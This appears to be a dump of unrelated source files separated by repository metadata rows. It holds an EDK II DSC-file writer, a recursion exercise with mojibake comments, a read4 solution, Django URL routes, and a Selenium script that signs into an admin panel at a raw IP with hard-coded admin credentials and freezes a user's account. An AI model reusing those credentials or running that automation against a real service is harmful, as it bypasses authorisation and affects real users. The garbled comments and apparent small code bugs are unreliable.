Section = Section + "%s" % Item[0] + '|' + "%s" % Item[1] + '\n'
Section = Section + '\n'
StoreTextFile(DscFile, Section)
## Store Build Options section
#
# Write [BuildOptions] section to the DscFile based on Platform class object.
# Different CPU architectures are specified in the subsection if possible.
#
# @param DscFile The output DSC file to store the Build Options section
# @param Platform An input Platform class object
#
def StorePlatformBuildOptionsSection(DscFile, Platform):
# which is from tools_def.txt
StandardBuildTargets = ["DEBUG", "RELEASE"]
SupportedArches = ["COMMON", "IA32", "X64", "IPF", "EBC", "ARM"]
Target = TargetTxtClassObject()
WorkSpace = os.getenv('WORKSPACE')
Target.LoadTargetTxtFile(WorkSpace + '\\Conf\\target.txt')
ToolDef = ToolDefClassObject()
ToolDef.LoadToolDefFile(WorkSpace + '\\' + Target.TargetTxtDictionary[DataType.TAB_TAT_DEFINES_TOOL_CHAIN_CONF])
# Now we have got ToolDef object
#ToolDef.ToolsDefTxtDictionary
Dict = ToolDef.ToolsDefTxtDatabase
Dict1 = ToolDef.ToolsDefTxtDictionary # we care the info in this Dict
#
# We only support *(DEBUG/RELEASE) and *(All Arch: IA32, X64, IPF and EBC) for now
#
SectionWINDDK = ''
SectionVS2003 = ''
SectionVS2005EXP = ''
SectionVS2005STD = ''
SectionVS2005PRO = ''
SectionVS2005TEAMSUITE = ''
SectionUNIXGCC = ''
SectionCYGWINGCC = ''
SectionELFGCC = ''
SectionICC = ''
SectionMYTOOLS = ''
for key in Dict1.keys():
if key.find("_CC_FLAGS") != -1:
if key.find('WINDDK3790x1830') != -1:
SectionWINDDK = " = " + Dict1.get(key) + "\n"
elif key.find('VS2003') != -1:
SectionVS2003 = " = " + Dict1.get(key)+ "\n"
elif key.find('VS2005EXP') != -1:
SectionVS2005EXP = " = " + Dict1.get(key) + "\n"
elif key.find('VS2005STD') != -1:
SectionVS2005STD = " = " + Dict1.get(key) + "\n"
elif key.find('VS2005PRO') != -1:
SectionVS2005PRO = " = " + Dict1.get(key) + "\n"
elif key.find('VS2005TEAMSUITE') != -1:
SectionVS2005TEAMSUITE = " = " + Dict1.get(key) + "\n"
elif key.find('UNIXGCC') != -1:
SectionUNIXGCC = " = " + Dict1.get(key) + "\n"
elif key.find('CYGWINGCC') != -1:
SectionCYGWINGCC = " = " + Dict1.get(key) + "\n"
elif key.find('ELFGCC') != -1:
SectionELFGCC = " = " + Dict1.get(key) + "\n"
elif key.find('ICC') != -1:
SectionICC = " = " + Dict1.get(key) + "\n"
elif key.find('MYTOOLS') != -1:
SectionMYTOOLS = " = " + Dict1.get(key) + "\n"
else:
print "Error!"
#
# First need to check which arch
#
Archs = Platform.Header.SupArchList
BuildTargets = Platform.Header.BuildTargets
#if BuildTargets == StandardBuildTargets:
#print "Debug and Release both support" # skip debug/release string search
#else:
#print "need to search debug/release string"
if len(Archs) == 4:
Arch = "*"
SectionName = "[BuildOptions.Common]\n"
else:
for Arch in Archs:
if Arch == 'IA32':
SectionName = "[BuildOptions.IA32]\n"
elif Arch == 'X64':
SectionName = "[BuildOptions.X64]\n"
elif Arch == 'IPF':
SectionName = "[BuildOptions.IPF]\n"
elif Arch == 'EBC':
SectionName = "[BuildOptions.EBC]\n"
else:
print 'Error!'
Section = ""
if SectionWINDDK != "":
SectionWINDDK = "*_WINDDK3790x1830_" + Arch + "_CC_FLAGS" + SectionWINDDK
Section += SectionWINDDK
if SectionVS2003 != "":
SectionVS2003 = "*_VS2003_" + Arch + "_CC_FLAGS" + SectionVS2003
Section += SectionVS2003
if SectionVS2005EXP != "":
SectionVS2005EXP = "*_VS2005EXP_" + Arch + "_CC_FLAGS" + SectionVS2005EXP
Section += SectionVS2005EXP
if SectionVS2005STD != "":
SectionVS2005STD = "*_VS2005STD_" + Arch + "_CC_FLAGS" + SectionVS2005STD
Section += SectionVS2005STD
if SectionVS2005PRO != "":
SectionVS2005PRO = "*_VS2005PRO_" + Arch + "_CC_FLAGS" + SectionVS2005PRO
Section += SectionVS2005PRO
if SectionVS2005TEAMSUITE != "":
SectionVS2005TEAMSUITE = "*_VS2005TEAMSUITE_" + Arch + "_CC_FLAGS" + SectionVS2005TEAMSUITE
Section += SectionVS2005TEAMSUITE
if SectionUNIXGCC != "":
SectionUNIXGCC = "*_UNIXGCC_" + Arch + "_CC_FLAGS" + SectionUNIXGCC
Section += SectionUNIXGCC
if SectionCYGWINGCC != "":
SectionCYGWINGCC = "*_CYGWINGCC_" + Arch + "_CC_FLAGS" + SectionCYGWINGCC
Section += SectionCYGWINGCC
if SectionELFGCC != "":
SectionELFGCC = "*_ELFGCC_" + Arch + "_CC_FLAGS" + SectionELFGCC
Section += SectionELFGCC
if SectionICC != "":
SectionICC = "*_ICC_" + Arch + "_CC_FLAGS" + SectionICC
Section += SectionICC
if SectionMYTOOLS != "":
SectionMYTOOLS = "*_MYTOOLS_" + Arch + "_CC_FLAGS" + SectionMYTOOLS
Section += SectionMYTOOLS
List = []
List.append("################################################################################")
List.append("#")
List.append("# Build Options section - list of all Build Options supported by this Platform.")
List.append("#")
List.append("################################################################################")
SectionHeader = "\n".join(List)
SectionHeader += "\n"
Section = SectionHeader + SectionName + Section
Section += "\n"
StoreTextFile(DscFile, Section)
## Store Libraries section
#
# Write [Libraries] section to the DscFile based on Platform class object.
# Different CPU architectures are specified in the subsection if possible.
#
# @param DscFile The output DSC file to store the Library Classes section
# @param Platform An input Platform class object
#
def StorePlatformLibrariesSection(DscFile,Platform):
List = []
List.append("################################################################################")
List.append("#")
List.append("# Libraries section - list of all Libraries needed by this Platform.")
List.append("#")
List.append("################################################################################")
SectionHeader = "\n".join(List)
SectionHeader += "\n"
Section = SectionHeader + '[Libraries]\n\n'
StoreTextFile(DscFile, Section)
## Return a Platform Library Class Item
#
# Read the input LibraryClass class object and return one line of Library Class Item.
#
# @param LibraryClass An input LibraryClass class object
#
# @retval LibraryClassItem A Module Library Class Item
#
def GetPlatformLibraryClassItem(LibraryClass):
LibraryClassList = []
LibraryClassList.append(LibraryClass.Name)
LibraryClassList.append(LibraryClass.FilePath)
return "|$(WORKSPACE)/".join(LibraryClassList).rstrip("|")
## Add item to a LibraryClass section
#
# Add an Item with specific Module Type to section dictionary.
# The possible duplication is ensured to be removed.
#
# @param Section Section dictionary indexed by CPU architecture
# @param SupModuleList LibraryClass SupModuleList: BASE, SEC, PEI_CORE, PEIM, etc
# @param Item The Item to be added to section dictionary
#
def AddToLibraryClassSection(Section, SupModuleList, Item):
for ModuleType in SupModuleList:
SectionModule = Section.get(ModuleType, [])
if Item not in SectionModule:
SectionModule.append(Item)
Section[ModuleType] = SectionModule
## Get Library Classes section contents
#
# Return the content of section named SectionName.
# the contents is based on Methods and ObjectLists.
#
# @param SectionName The name of the section
# @param Method A function returning a string item of an object
# @param ObjectList The list of object
#
# @retval Section The string content of a section
#
def GetLibraryClassesSection(SectionName, Method, ObjectList):
SupportedArches = ["COMMON", "IA32", "X64", "IPF", "EBC"]
ModuleTypes = ["BASE","SEC","PEI_CORE","PEIM","DXE_CORE","DXE_DRIVER","DXE_SMM_DRIVER","DXE_SAL_DRIVER","DXE_RUNTIME_DRIVER","UEFI_DRIVER","UEFI_APPLICATION"]
SectionCommonDict = {}
SectionIA32Dict = {}
SectionX64Dict = {}
SectionIPFDict = {}
SectionEBCDict = {}
#ObjectList = list(set(ObjectList)) # delete the same element in the list
for Object in ObjectList:
if Object == None:
continue
Item = Method(Object)
if Item == "":
continue
Item = " %s" % Item
Arches = Object.SupArchList
if len(Arches) == 4:
ModuleType = Object.ModuleType
# [LibraryClasses.Common.ModuleType]
if ModuleType == "BASE":
SupModuleList = ["BASE"]
AddToLibraryClassSection(SectionCommonDict, SupModuleList, Item)
else:
#
SupModuleList = Object.SupModuleList
#AddToSection(SectionDict, "|".join(SupModuleList), Item)
AddToLibraryClassSection(SectionCommonDict, SupModuleList, Item)
else:
# Arch
for Arch in SupportedArches:
if Arch.upper() in Arches:
if Arch == "IA32":
# [LibraryClasses.IA32.ModuleType]
ModuleType = Object.ModuleType
if ModuleType == "BASE":
SupModuleList = ["BASE"]
AddToLibraryClassSection(SectionIA32Dict, SupModuleList, Item)
else:
SupModuleList = Object.SupModuleList
AddToLibraryClassSection(SectionIA32Dict, SupModuleList, Item)
elif Arch == "X64":
# [LibraryClasses.X64.ModuleType]
ModuleType = Object.ModuleType
if ModuleType == "BASE":
SupModuleList = ["BASE"]
AddToLibraryClassSection(SectionX64Dict, SupModuleList, Item)
else:
SupModuleList = Object.SupModuleList
AddToLibraryClassSection(SectionX64Dict, SupModuleList, Item)
elif Arch == "IPF":
# [LibraryClasses.IPF.ModuleType]
ModuleType = Object.ModuleType
if ModuleType == "BASE":
SupModuleList = ["BASE"]
AddToLibraryClassSection(SectionIPFDict, SupModuleList, Item)
else:
SupModuleList = Object.SupModuleList
AddToLibraryClassSection(SectionIPFDict, SupModuleList, Item)
elif Arch == "EBC":
# [LibraryClasses.EBC.ModuleType]
ModuleType = Object.ModuleType
if ModuleType == "BASE":
SupModuleList = ["BASE"]
AddToLibraryClassSection(SectionEBCDict, SupModuleList, Item)
else:
SupModuleList = Object.SupModuleList
AddToLibraryClassSection(SectionEBCDict, SupModuleList, Item)
Section = ""
for ModuleType in ModuleTypes:
SectionCommonModule = "\n".join(SectionCommonDict.get(ModuleType, []))
if SectionCommonModule != "":
Section += "[%s.Common.%s]\n%s\n" % (SectionName, ModuleType, SectionCommonModule)
Section += "\n"
for ModuleType in ModuleTypes:
ListIA32 = SectionIA32Dict.get(ModuleType, [])
if ListIA32 != []:
SectionIA32Module = "\n".join(SectionIA32Dict.get(ModuleType, []))
if SectionIA32Module != "":
Section += "[%s.IA32.%s]\n%s\n" % (SectionName, ModuleType, SectionIA32Module)
Section += "\n"
ListX64 = SectionX64Dict.get(ModuleType, [])
if ListX64 != []:
SectionX64Module = "\n".join(SectionX64Dict.get(ModuleType, []))
if SectionX64Module != "":
Section += "[%s.X64.%s]\n%s\n" % (SectionName, ModuleType, SectionX64Module)
Section += "\n"
ListIPF = SectionIPFDict.get(ModuleType, [])
if ListIPF != []:
SectionIPFModule = "\n".join(SectionIPFDict.get(ModuleType, []))
if SectionIPFModule != "":
Section += "[%s.IPF.%s]\n%s\n" % (SectionName, ModuleType, SectionIPFModule)
Section += "\n"
ListEBC = SectionEBCDict.get(ModuleType, [])
if ListEBC != []:
SectionEBCModule = "\n".join(SectionEBCDict.get(ModuleType, []))
if SectionEBCModule != "":
Section += "[%s.EBC.%s]\n%s\n" % (SectionName, ModuleType, SectionEBCModule)
Section += "\n"
if Section != "":
Section += "\n"
return Section
## Store Library Classes section
#
# Write [LibraryClasses] section to the DscFile based on Platform class object.
# Different CPU architectures are specified in the subsection if possible.
#
# @param DscFile The output DSC file to store the Library Classes section
# @param Platform An input Platform class object
#
def StorePlatformLibraryClassesSection(DscFile, Platform):
Section = GetLibraryClassesSection("LibraryClasses", GetPlatformLibraryClassItem, Platform.LibraryClasses.LibraryList)
List = []
List.append("################################################################################")
List.append("#")
List.append("# Library Class section - list of all Library Classes needed by this Platform.")
List.append("#")
List.append("################################################################################")
SectionHeader = "\n".join(List)
SectionHeader += "\n"
Section = SectionHeader + Section
StoreTextFile(DscFile, Section)
## Store Pcd section
#
# Write [Pcd] section to the DscFile based on Platform class object.
# Different CPU architectures are specified in the subsection if possible.
#
# @param DscFile The output DSC file to store the Build Options section
# @param Platform An input Platform class object
#
def StorePlatformPcdSection(DscFile, Platform):
# {PcdsFixedAtBuild:String1, PcdsFixedAtBuild:String2, PcdsPatchableInModule:String3}
SectionDict = {}
#
# [PcdsFixedAtBuild], [PcdsPatchableInModule] and [PcdsFeatureFlag] are from platform.modules
# [PcdsDynamic] is from platform.DynamicPcdBuildDefinitions
#
Modules = Platform.Modules.ModuleList # it's a list of modules
for Module in Modules:
PcdBuildDefinitions = Module.PcdBuildDefinitions # it's a list of PcdData
for PcdData in PcdBuildDefinitions:
if PcdData.ItemType == "FEATURE_FLAG":
List = []
List.append(PcdData.TokenSpaceGuidCName + "." + PcdData.C_NAME)
List.append(PcdData.Value)
String = "|".join(List)
ItemType = PcdData.ItemType
SectionPcdsFeatureFlag = SectionDict.get(ItemType, [])
if String not in SectionPcdsFeatureFlag:
SectionPcdsFeatureFlag.append(String)
SectionDict[ItemType] = SectionPcdsFeatureFlag
else:
List = []
List.append(PcdData.TokenSpaceGuidCName + "." + PcdData.C_NAME)
List.append(PcdData.Value)
List.append(PcdData.Token)
List.append(PcdData.DatumType)
List.append(PcdData.MaxDatumSize)
String = "|".join(List)
ItemType = PcdData.ItemType
if PcdData.ItemType == "FIXED_AT_BUILD":
SectionPcdsFixedAtBuild = SectionDict.get(ItemType, [])
if String not in SectionPcdsFixedAtBuild:
SectionPcdsFixedAtBuild.append(String)
SectionDict[ItemType] = SectionPcdsFixedAtBuild
#elif PcdData.ItemType == "FEATURE_FLAG":
#SectionPcdsFeatureFlag = SectionDict.get(ItemType, [])
#if String not in SectionPcdsFeatureFlag:
#SectionPcdsFeatureFlag.append(String)
#SectionDict[ItemType] = SectionPcdsFeatureFlag
elif PcdData.ItemType == "PATCHABLE_IN_MODULE":
SectionPcdsPatchableInModule = SectionDict.get(ItemType, [])
if String not in SectionPcdsPatchableInModule:
SectionPcdsPatchableInModule.append(String)
SectionDict[ItemType] = SectionPcdsPatchableInModule
elif PcdData.ItemType == "DYNAMIC":
SectionPcdsDynamic = SectionDict.get(ItemType, [])
if String not in SectionPcdsDynamic:
SectionPcdsDynamic.append(String)
SectionDict[ItemType] = SectionPcdsDynamic
DynamicPcdBuildDefinitions = Platform.DynamicPcdBuildDefinitions # It's a list
for PcdBuildData in DynamicPcdBuildDefinitions:
List = []
List.append(PcdData.TokenSpaceGuidCName + "." + PcdData.C_NAME)
List.append(PcdData.Token)
List.append(PcdData.DatumType)
List.append(PcdData.MaxDatumSize)
String = "|".join(List)
if PcdBuildData.ItemType == "DYNAMIC":
ItemType = PcdBuildData.ItemType
SectionPcdsDynamic = SectionDict.get(ItemType, [])
if String not in SectionPcdsDynamic:
SectionPcdsDynamic.append(String)
SectionDict[ItemType] = SectionPcdsDynamic
ItemType = "FIXED_AT_BUILD"
Section = "[PcdsFixedAtBuild]\n " + "\n ".join(SectionDict.get(ItemType, []))
ItemType = "FEATURE_FLAG"
Section += "\n\n[PcdsFeatureFlag]\n " + "\n ".join(SectionDict.get(ItemType, []))
ItemType = "PATCHABLE_IN_MODULE"
Section += "\n\n[PcdsPatchableInModule]\n " + "\n ".join(SectionDict.get(ItemType, []))
Section += "\n\n"
List = []
List.append("################################################################################")
List.append("#")
List.append("# Pcd Dynamic Section - list of all EDK II PCD Entries defined by this Platform.")
List.append("#")
List.append("################################################################################")
String = "\n".join(List)
Section += String
ItemType = "DYNAMIC"
Section += "\n\n[PcdsDynamic]\n " + "\n ".join(SectionDict.get(ItemType, []))
Section += "\n\n"
List = []
List.append("################################################################################")
List.append("#")
List.append("# Pcd Section - list of all EDK II PCD Entries defined by this Platform.")
List.append("#")
List.append("################################################################################")
SectionHeader = "\n".join(List)
SectionHeader += "\n"
Section = SectionHeader + Section
StoreTextFile(DscFile, Section)
## Add item to a section
#
# Add an Item with specific CPU architecture to section dictionary.
# The possible duplication is ensured to be removed.
#
# @param Section Section dictionary indexed by CPU architecture
# @param Arch CPU architecture: Ia32, X64, Ipf, Ebc or Common
# @param Item The Item to be added to section dictionary
#
def AddToSection(Section, Arch, Item):
SectionArch = Section.get(Arch, [])
if Item not in SectionArch:
SectionArch.append(Item)
Section[Arch] = SectionArch
## Get section contents
#
# Return the content of section named SectionName.
# the contents is based on Methods and ObjectLists.
#
# @param SectionName The name of the section
# @param Method A function returning a string item of an object
# @param ObjectList The list of object
#
# @retval Section The string content of a section
#
def GetSection(SectionName, Method, ObjectList):
SupportedArches = ["COMMON", "IA32", "X64", "IPF", "EBC"]
SectionDict = {}
for Object in ObjectList:
if Object.FilePath == "":
continue
Item = Method(Object)
if Item == "":
continue
Item = " %s" % Item
Arches = Object.SupArchList
if len(Arches) == 4:
AddToSection(SectionDict, "common", Item)
else:
for Arch in SupportedArches:
if Arch.upper() in Arches:
AddToSection(SectionDict, Arch, Item)
Section = ""
for Arch in SupportedArches:
SectionArch = "\n".join(SectionDict.get(Arch, []))
if SectionArch != "":
Section += "[%s.%s]\n%s\n" % (SectionName, Arch, SectionArch)
Section += "\n"
if Section != "":
Section += "\n"
return Section
## Return a Platform Component Item
#
# Read the input Platform Component object and return one line of Platform Component Item.
#
# @param Component An input Platform Component class object
#
# @retval ComponentItem A Platform Component Item
#
def GetPlatformComponentItem(Component):
List = []
Section = {}
List.append("$(WORKSPACE)/" + Component.FilePath)
LibraryClasses = Component.LibraryClasses
if LibraryClasses != []:
List = []
List.append("$(WORKSPACE)/" + Component.FilePath + " {")
List.append("<LibraryClasses>")
for LibraryClass in LibraryClasses:
if LibraryClass == ["", ""]:
continue
List.append(" " + LibraryClass[0] + "|$(WORKSPACE)/" + LibraryClass[1])
PcdBuildDefinitions = Component.PcdBuildDefinitions
for PcdData in PcdBuildDefinitions:
if PcdData.ItemType == "FEATURE_FLAG":
List1 = []
List1.append(PcdData.TokenSpaceGuidCName + "." + PcdData.C_NAME)
List1.append(PcdData.Value)
String = "|".join(List1)
ItemType = PcdData.ItemType
SectionPcd = Section.get(ItemType, [])
if String not in SectionPcd:
SectionPcd.append(String)
Section[ItemType] = SectionPcd
else:
List1 = []
List1.append(PcdData.TokenSpaceGuidCName + "." + PcdData.C_NAME)
List1.append(PcdData.Value)
List1.append(PcdData.Token)
List1.append(PcdData.DatumType)
List1.append(PcdData.MaxDatumSize)
String = "|".join(List1)
ItemType = PcdData.ItemType
if ItemType == "FIXED_AT_BUILD":
SectionPcd = Section.get(ItemType, [])
if String not in SectionPcd:
SectionPcd.append(String)
Section[ItemType] = SectionPcd
#elif ItemType == "FEATURE_FLAG":
#SectionPcd = Section.get(ItemType, [])
#if String not in SectionPcd:
#SectionPcd.append(String)
#Section[ItemType] = SectionPcd
elif ItemType == "PATCHABLE_IN_MODULE":
SectionPcd = Section.get(ItemType, [])
if String not in SectionPcd:
SectionPcd.append(String)
Section[ItemType] = SectionPcd
elif ItemType == "DYNAMIC":
SectionPcd = Section.get(ItemType, [])
if String not in SectionPcd:
SectionPcd.append(String)
Section[ItemType] = SectionPcd
ItemType = "FIXED_AT_BUILD"
if Section.get(ItemType, []) != []:
List.append("<PcdsFixedAtBuild>")
List.append(" " + "\n ".join(Section.get(ItemType,[])))
ItemType = "FEATURE_FLAG"
if Section.get(ItemType, []) != []:
List.append("<PcdsFeatureFlag>")
List.append(" " + "\n ".join(Section.get(ItemType,[])))
ItemType = "PATCHABLE_IN_MODULE"
if Section.get(ItemType, []) != []:
List.append("<PcdsPatchableInModule>")
List.append(" " + "\n ".join(Section.get(ItemType,[])))
ItemType = "DYNAMIC"
if Section.get(ItemType, []) != []:
List.append("<PcdsDynamic>")
List.append(" " + "\n ".join(Section.get(ItemType,[])))
ListOption = []
SectionOption = ""
ListBuildOptions = Component.BuildOptions # a list
if ListBuildOptions != []:
SectionOption += "\n <BuildOptions>\n"
for BuildOptions in ListBuildOptions:
Options = BuildOptions.Options
for Option in Options:
for Item in Option.BuildTargetList:
ListOption.append(Item)
List.append(Option.ToolChainFamily)
for Item in Option.SupArchList:
ListOption.append(Item)
ListOption.append(Option.ToolCode)
ListOption.append("FLAGS")
#print ListOption
SectionOption += " " + "_".join(List) + " = " + Option.Option + "\n"
ListOption = []
if SectionOption != "":
List.append(SectionOption)
if List != ["$(WORKSPACE)/" + Component.FilePath]:
List.append("}\n")
return "\n ".join(List)
## Store Components section.
#
# Write [Components] section to the DscFile based on Platform class object.
# Different CPU architectures are specified in the subsection if possible.
#
# @param DscFile The output DSC file to store the Components section
# @param Platform An input Platform class object
#
def StorePlatformComponentsSection(DscFile, Platform):
Section = GetSection("Components", GetPlatformComponentItem, Platform.Modules.ModuleList)
List = []
List.append("################################################################################")
List.append("#")
List.append("# Components Section - list of all EDK II Modules needed by this Platform.")
List.append("#")
List.append("################################################################################")
SectionHeader = "\n".join(List)
SectionHeader += "\n"
Section = SectionHeader + Section
StoreTextFile(DscFile, Section)
## Store User Extensions section.
#
# Write [UserExtensions] section to the InfFile based on Module class object.
# Different CPU architectures are specified in the subsection if possible.
#
# @param DscFile The output DSC file to store the User Extensions section
# @param Platform An input Platform class object
#
def StorePlatformUserExtensionsSection(DscFile, Platform):
Section = "".join(map(GetUserExtensions, Platform.UserExtensions))
List = []
List.append("################################################################################")
List.append("#")
List.append("# User Extensions Section - list of all User Extensions specified by user.")
List.append("#")
List.append("################################################################################")
SectionHeader = "\n".join(List)
SectionHeader += "\n"
Section = SectionHeader + Section
StoreTextFile(DscFile, Section)
## Store a Platform class object to a new DSC file.
#
# Read an input Platform class object and save the contents to a new DSC file.
#
# @param DSCFileName The output DSC file
# @param Platform An input Platform class object
#
def StoreDsc(DscFileName, Platform):
DscFile = open(DscFileName, "w+")
EdkLogger.info("Save file to %s" % DscFileName)
StoreHeader(DscFile, Platform.Header)
StorePlatformDefinesSection(DscFile, Platform)
StorePlatformBuildOptionsSection(DscFile,Platform)
StorePlatformSkuIdsSection(DscFile,Platform)
StorePlatformLibrariesSection(DscFile,Platform) # new in dsc, Edk I components, list of INF files
StorePlatformLibraryClassesSection(DscFile, Platform) # LibraryClasses are from Modules
StorePlatformPcdSection(DscFile, Platform)
#StorePlatformPcdDynamicSection(DscFile, Platform)
StorePlatformComponentsSection(DscFile,Platform)
StorePlatformUserExtensionsSection(DscFile,Platform)
DscFile.close()
if __name__ == '__main__':
pass
|
[
"lgao4@6f19259b-4bc3-4df7-8a09-765794883524"
] |
lgao4@6f19259b-4bc3-4df7-8a09-765794883524
|
477b16d16663ab8f4e4bfc7e6aad7848f174394e
|
6e35071dc938dcd91a89a8f8a3057da92f52a283
|
/Python/ะะะญ2021/23/ะ ะตัะตะฝะธะต ะทะฐะดะฐะฝะธะน. ะะพะปัะบะพะฒ/3067.py
|
b1ddd2332001ce8d21d77b917734266c51fa68c8
|
[] |
no_license
|
dealvv/EGE
|
ca5857a4ae1fc6655fcc8b16600021265bf5a787
|
2947b1727f805616fc765e82a1c38e31ab73bda4
|
refs/heads/main
| 2023-07-13T10:36:45.498341 | 2021-08-21T15:31:15 | 2021-08-21T15:31:15 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,056 |
py
|
#(โ 3067) ะัะฟะพะปะฝะธัะตะปั ะ12S ะฟัะตะพะฑัะฐะทัะตั ัะตะปะพะต ัะธัะปะพ, ะทะฐะฟะธัะฐะฝะฝะพะต ะฝะฐ ัะบัะฐะฝะต.
#ะฃ ะธัะฟะพะปะฝะธัะตะปั ััะธ ะบะพะผะฐะฝะดั, ะบะฐะถะดะพะน ะบะพะผะฐะฝะดะต ะฟัะธัะฒะพะตะฝ ะฝะพะผะตั:
#1. ะัะธะฑะฐะฒั 1
#2. ะัะธะฑะฐะฒั 2
#3. ะัะธะฑะฐะฒั ะฟัะตะดัะดััะตะต
#ะะตัะฒะฐั ะบะพะผะฐะฝะดะฐ ัะฒะตะปะธัะธะฒะฐะตั ัะธัะปะพ ะฝะฐ ัะบัะฐะฝะต ะฝะฐ 1, ะฒัะพัะฐั ัะฒะตะปะธัะธะฒะฐะตั ััะพ ัะธัะปะพ ะฝะฐ 2,
#ััะตััั ะฟัะธะฑะฐะฒะปัะตั ะบ ัะธัะปั ะฝะฐ ัะบัะฐะฝะต ัะธัะปะพ, ะผะตะฝััะตะต ะฝะฐ 1 (ะบ ัะธัะปั 3 ะฟัะธะฑะฐะฒะปัะตััั 2, ะบ ัะธัะปั 11 ะฟัะธะฑะฐะฒะปัะตััั 10 ะธ ั. ะด.).
#ะัะพะณัะฐะผะผะฐ ะดะปั ะธัะฟะพะปะฝะธัะตะปั ะ12S โ ััะพ ะฟะพัะปะตะดะพะฒะฐัะตะปัะฝะพััั ะบะพะผะฐะฝะด.
#ะกะบะพะปัะบะพ ัััะตััะฒัะตั ะฟัะพะณัะฐะผะผ, ะบะพัะพััะต ัะธัะปะพ 3 ะฟัะตะพะฑัะฐะทััั ะฒ ัะธัะปะพ 10?
def F(s,e):
if s==e:
return 1
if s>e:
return 0
if s<e:
return F(s+1,e)+F(s+2,e)+F(s+s-1,e)
print(F(3,10))
|
[
"87613601+Malenago@users.noreply.github.com"
] |
87613601+Malenago@users.noreply.github.com
|
6211c93ef5e464339a3ece24a4c1a0c77ec991bc
|
419873dd3b7412f704b1a7907b64a60b44cedf39
|
/python/่ฎพ่ฎก/157. ็จ Read4 ่ฏปๅ N ไธชๅญ็ฌฆ.py
|
014893b2ac1f2b51dbcea4b77c5c3014bcf07fec
|
[] |
no_license
|
Weless/leetcode
|
0585c5bfa260713f44dabc51fa58ebf8a10e7814
|
0566622daa5849f7deb0cfdc6de2282fb3127f4c
|
refs/heads/master
| 2021-11-13T07:59:20.299920 | 2021-10-25T02:09:53 | 2021-10-25T02:09:53 | 203,720,668 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 409 |
py
|
class Solution:
def read(self, buf, n):
count=0
while count<n:
temp = [''] * 4
cur = read4(temp)
if cur == 0 :
break
i = 0
while i < cur and count <n:
buf[count] = temp[i]
count += 1
i+=1
return count
|
[
"409766394@qq.com"
] |
409766394@qq.com
|
06c1080704250b98512bbb483e36ee722e16a04f
|
5bca4a354edb5025194d9a078edb97c0bd21c8b4
|
/xiaohei/xiaohei/apps/users/urls.py
|
3f8b993732b6c763ef73a59a6d5404099f3dfe82
|
[] |
no_license
|
chenxingwu/DjangoWeb
|
8cd27fc220b77294b27036485bba6c2e0c036995
|
c55d3fac85f295b018eb1083032ba4faca346fa6
|
refs/heads/master
| 2022-11-09T06:21:30.274245 | 2020-06-30T13:31:29 | 2020-06-30T13:31:29 | null | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 1,077 |
py
|
"""xiaohei URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/2.0/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from django.conf.urls import url, include
from rest_framework.routers import DefaultRouter
from users.views import Registered, ObtainJSONWebToken, GetUser
router = DefaultRouter()
router.register(r'Registered', Registered, basename='Registered') # ๆณจๅ
urlpatterns = [
url(r'^', include(router.urls)),
url(r'^login/$', ObtainJSONWebToken.as_view()), # ็ปๅฝ
url('^GetUser/', GetUser.as_view(), name='GetUser'), # ็จๆท
]
|
[
"ff696977@qq.com"
] |
ff696977@qq.com
|
68272c65077f65f2c3b4c0fd79c8e38fc53c48f0
|
36f2147d46cf0bb8f85acc81bfe2b4486405e33a
|
/ZXYJ_GG-master/PyCharm/A_Computer/ZdFr.py
|
25fdd5c3cd0c0b3b7020e0ceccce42e1a4f0e7d5
|
[] |
no_license
|
LDPGG/dm
|
4aab9b54a6f4e6dae57baede40c9b5f094c3607e
|
7b0e267418fd2345923fb1b4c48d53347eec13dd
|
refs/heads/master
| 2021-03-06T20:09:20.126015 | 2020-03-10T06:06:20 | 2020-03-10T06:06:20 | 157,844,279 | 0 | 0 | null | null | null | null |
UTF-8
|
Python
| false | false | 3,793 |
py
|
# -*- coding: utf-8 -*-
# @Time : 2018/8/25 0025 ไธๅ 11:49
# @Author : ๅ็ปๆ้ฟ๏ผ๏ผ
# @FileName: ZdFr.py
# @Software: PyCharm
from selenium import webdriver
import time
'''
่ดฆๅทๅฐ็ฆ
'''
def add_change():
# yy = input('่ฏท่พๅ
ฅๅฐ็ฆๅๅ ๏ผ')
# ๆทปๅ ้ถ้ฑ็ณ่ฏท
# ๆๅผ่ฐทๆญๆต่งๅจ
driver = webdriver.Chrome()
webdriver.Firefox()
# ๆต่งๅจๆๅคงๅ
driver.maximize_window()
# ็ฝๅ
driver.get('http://39.108.195.48:8080/flyweb/user/login')
# ่ดฆๆทๅฏ็ ็ปๅฝ
# ๆๅบๅผๅธธ
try:
# ้ๅกซ
# driver.find_element_by_id('username').send_keys(zh)
# driver.find_element_by_id('passwd').send_keys(mm)
# # ๅบๅฎ
driver.find_element_by_id('username').send_keys('admin')
driver.find_element_by_id('passwd').send_keys('123456')
driver.find_element_by_id('submit_login').click()
time.sleep(2)
driver.find_element_by_xpath('//*[@id="main-menu"]/li[11]/a').click()
time.sleep(2)
except:
print('ๆจ็่ดฆๆทๆ่
ๅฏ็ ้่ฏฏ๏ผ่ฏท้ๆฐ่พๅ
ฅ๏ผ๏ผ')
# ๅ
ณ้ญๆต่งๅจ
driver.quit()
# ๅ่ฐๆนๆณ
add_change()
driver.find_element_by_id('btn32').click()
# ๅๅ
ฅ
driver.switch_to.frame('mainFrame')
driver.find_element_by_id('keys').send_keys('15386174586')
driver.find_element_by_xpath('//*[@id="search_order_form"]/div/div[2]/button').click()
time.sleep(2)
driver.find_element_by_xpath('//*[@id="orderlist"]/tbody/tr[2]/td[13]/button').click()
time.sleep(2)
# ๅๅบ
driver.switch_to.default_content()
# ๅๅ
ฅ
driver.switch_to.frame('modal-frame')
driver.find_element_by_id('startDate').send_keys('2333-03-03 03:33:00')
driver.find_element_by_id('freezeReason').send_keys('1111')
time.sleep(1)
driver.switch_to.default_content()
driver.find_element_by_id('modal-ok-btn').click()
time.sleep(1)
def JF():
# ๆทปๅ ้ถ้ฑ็ณ่ฏท
# ๆๅผ่ฐทๆญๆต่งๅจ
driver = webdriver.Chrome()
